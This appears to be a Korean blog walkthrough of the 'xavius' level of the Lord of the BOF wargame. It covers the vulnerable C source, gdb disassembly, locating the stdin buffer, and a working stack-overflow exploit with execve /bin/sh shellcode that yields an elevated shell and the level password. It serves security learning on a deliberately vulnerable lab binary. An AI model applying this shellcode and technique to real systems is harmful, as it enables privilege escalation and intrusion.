BOF 원정대 – Level 19 (xavius)

우선 문제 소스는 아래와 같다.

/*
 The Lord of the BOF : The Fellowship of the BOF
- xavius
- arg
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main()
{
 char buffer[40];
 char *ret_addr;

 // overflow!
 fgets(buffer, 256, stdin);
 printf(%s\n, buffer);

 if(*(buffer+47) == '\xbf')
 {
 printf(stack retbayed you!\n);
 exit(0);
 }

 if(*(buffer+47) == '\x08')
 {
 printf(binary image retbayed you, too!!\n);
 exit(0);
 }

 // check if the ret_addr is library function or not
 memcpy(&ret_addr, buffer+44, 4);
 while(memcmp(ret_addr, \x90\x90, 2) != 0) // end point of function
 {
 if(*ret_addr == '\xc9'){ // leave
 if(*(ret_addr+1) == '\xc3'){ // ret
 printf(You cannot use library function!\n);
 exit(0);
 }
 }
 ret_addr++; 
 }

 // stack destroyer
 memset(buffer, 0, 44);
 memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

 // LD_* eraser
 // 40 : extra space for memset function
 memset(buffer-3000, 0, 3000-40);
}

문제 소스를 보면 fgets() 함수에서 오버플로우가 남을 알 수 있다. 한번 테스트를 해보도록 하자.

[nightmare@localhost nightmare]$ ./xavius
123456789012345678901234567890123456789012345678
123456789012345678901234567890123456789012345678

Segmentation fault
[nightmare@localhost nightmare]$ 

예상했던대로 오버플로우가 난다. 하지만 문제 소스를 보면 RET 주소를 넣어야 할 부분에 \xbf와 \x08 값을 넣지 못하도록 제한하고 있다. 그리고 추기로 ret 및 leave 명령어도 제한하고 있으므로 지금까지 해왔던 공격 방법으로는 불가능하다.

여기서 부턴 도저히 풀리지가 않아 검색을 통해 알아내었다. 우선 fgets 함수를 살펴보면 stdin 버퍼에 입력값을 저장을 한다. 따라서 메모리 어딘가에 stdin 버퍼가 있을것이며 그 부분을 찾으면 된다.

[nightmare@localhost nightmare]$ gdb xaviuu 
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type show copying to see the conditions.
There is absolutely no warranty for GDB. Type show warranty for details.
This GDB was configured as i386-redhat-linux...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048714 <main>: push %ebp
0x8048715 <main+1>: mov %esp,%ebp
0x8048717 <main+3>: sub $0x2c,%esp
0x804871a <main+6>: mov 0x8049a3c,%eax
0x804871f <main+11>: push %eax
0x8048720 <main+12>: push $0x100
0x8048725 <main+17>: lea 0xffffffd8(%ebp),%eax
0x8048728 <main+20>: push %eax
0x8048729 <main+21>: call 0x8048408 <fgets>
0x804872e <main+26>: add $0xc,%esp
0x8048731 <main+29>: lea 0xffffffd8(%ebp),%eax
0x8048734 <main+32>: push %eax
0x8048735 <main+33>: push $0x80488bb
0x804873a <main+38>: call 0x8048438 <printf>
0x804873f <main+43>: add $0x8,%esp
0x8048742 <main+46>: cmpb $0xbf,0x7(%ebp)
0x8048746 <main+50>: jne 0x8048760 <main+76>
0x8048748 <main+52>: push $0x80488bf
0x804874d <main+57>: call 0x8048438 <printf>
0x8048752 <main+62>: add $0x4,%esp
0x8048755 <main+65>: push $0x0
0x8048757 <main+67>: call 0x8048458 <exit>
0x804875c <main+72>: add $0x4,%esp
0x804875f <main+75>: nop 
0x8048760 <main+76>: cmpb $0x8,0x7(%ebp)
0x8048764 <main+80>: jne 0x8048780 <main+108>
0x8048766 <main+82>: push $0x80488e0
0x804876b <main+87>: call 0x8048438 <printf>
0x8048770 <main+92>: add $0x4,%esp
0x8048773 <main+95>: push $0x0
0x8048775 <main+97>: call 0x8048458 <exit>
0x804877a <main+102>: add $0x4,%esp
0x804877d <main+105>: lea 0x0(%esi),%esi
0x8048780 <main+108>: push $0x4
0x8048782 <main+110>: lea 0xffffffd8(%ebp),%eax
0x8048785 <main+113>: lea 0x2c(%eax),%edx
0x8048788 <main+116>: push %edx
0x8048789 <main+117>: lea 0xffffffd4(%ebp),%eax
0x804878c <main+120>: push %eax
0x804878d <main+121>: call 0x8048448 <memcpy>
---Type <return> to continue, or q <return> to quit---
0x8048792 <main+126>: add $0xc,%esp
0x8048795 <main+129>: push $0x2
0x8048797 <main+131>: push $0x8048902
0x804879c <main+136>: mov 0xffffffd4(%ebp),%eax
0x804879f <main+139>: push %eax
0x80487a0 <main+140>: call 0x8048418 <memcmp>
0x80487a5 <main+145>: add $0xc,%esp
0x80487a8 <main+148>: mov %eax,%eax
0x80487aa <main+150>: test %eax,%eax
0x80487ac <main+152>: jne 0x80487b0 <main+156>
0x80487ae <main+154>: jmp 0x80487e0 <main+204>
0x80487b0 <main+156>: mov 0xffffffd4(%ebp),%eax
0x80487b3 <main+159>: cmpb $0xc9,(%eax)
0x80487b6 <main+162>: jne 0x80487d8 <main+196>
0x80487b8 <main+164>: mov 0xffffffd4(%ebp),%eax
0x80487bb <main+167>: inc %eax
0x80487bc <main+168>: cmpb $0xc3,(%eax)
0x80487bf <main+171>: jne 0x80487d8 <main+196>
0x80487c1 <main+173>: push $0x8048920
0x80487c6 <main+178>: call 0x8048438 <printf>
0x80487cb <main+183>: add $0x4,%esp
0x80487ce <main+186>: push $0x0
0x80487d0 <main+188>: call 0x8048458 <exit>
0x80487d5 <main+193>: add $0x4,%esp
0x80487d8 <main+196>: incl 0xffffffd4(%ebp)
0x80487db <main+199>: jmp 0x8048795 <main+129>
0x80487dd <main+201>: lea 0x0(%esi),%esi
0x80487e0 <main+204>: push $0x2c
0x80487e2 <main+206>: push $0x0
0x80487e4 <main+208>: lea 0xffffffd8(%ebp),%eax
0x80487e7 <main+211>: push %eax
0x80487e8 <main+212>: call 0x8048468 <memset>
0x80487ed <main+217>: add $0xc,%esp
0x80487f0 <main+220>: lea 0xffffffd8(%ebp),%eax
0x80487f3 <main+223>: mov $0xbfffffcf,%edx
0x80487f8 <main+228>: mov %edx,%ecx
0x80487fa <main+230>: sub %eax,%ecx
0x80487fc <main+232>: mov %ecx,%eax
0x80487fe <main+234>: push %eax
0x80487ff <main+235>: push $0x0
0x8048801 <main+237>: lea 0xffffffd8(%ebp),%eax
---Type <return> to continue, or q <return> to quit---
0x8048804 <main+240>: lea 0x30(%eax),%edx
0x8048807 <main+243>: push %edx
0x8048808 <main+244>: call 0x8048468 <memset>
0x804880d <main+249>: add $0xc,%esp
0x8048810 <main+252>: push $0xb90
0x8048815 <main+257>: push $0x0
0x8048817 <main+259>: lea 0xffffffd8(%ebp),%eax
0x804881a <main+262>: lea 0xfffff448(%eax),%edx
0x8048820 <main+268>: push %edx
0x8048821 <main+269>: call 0x8048468 <memset>
0x8048826 <main+274>: add $0xc,%esp
0x8048829 <main+277>: leave 
0x804882a <main+278>: ret 
0x804882b <main+279>: nop 
0x804882c <main+280>: nop 
0x804882d <main+281>: nop 
0x804882e <main+282>: nop 
0x804882f <main+283>: nop 
End of assembler dump.
(gdb) b *main+26
Breakpoint 1 at 0x804872e
(gdb) r
Starting program: /home/nightmare/xaviuu 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC

Breakpoint 1, 0x804872e in main ()
(gdb) x/32wx 0x40015000
0x40015000: 0x41414141 0x41414141 0x41414141 0x41414141
0x40015010: 0x41414141 0x41414141 0x41414141 0x41414141
0x40015020: 0x41414141 0x41414141 0x42424242 0x43434343
0x40015030: 0x0000000a 0x00000000 0x00000000 0x00000000
0x40015040: 0x00000000 0x00000000 0x00000000 0x00000000
0x40015050: 0x00000000 0x00000000 0x00000000 0x00000000
0x40015060: 0x00000000 0x00000000 0x00000000 0x00000000
0x40015070: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) 

0x40015000 위치에 입력한 값이 저장되어 있음을 알 수 있다. 따라서 PAYLOAD는 아래와 같이 구성하면 된다.

[NOP + SHELLCODE, 44 Byte] [0x40015000]

[nightmare@localhost nightmare]$ (python -c print '\x90'*19 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + '\x00\x50\x01\x40'; cat) | ./xavius 
/shh/bin

 id
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)
my-pass
euid = 519
throw me away

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다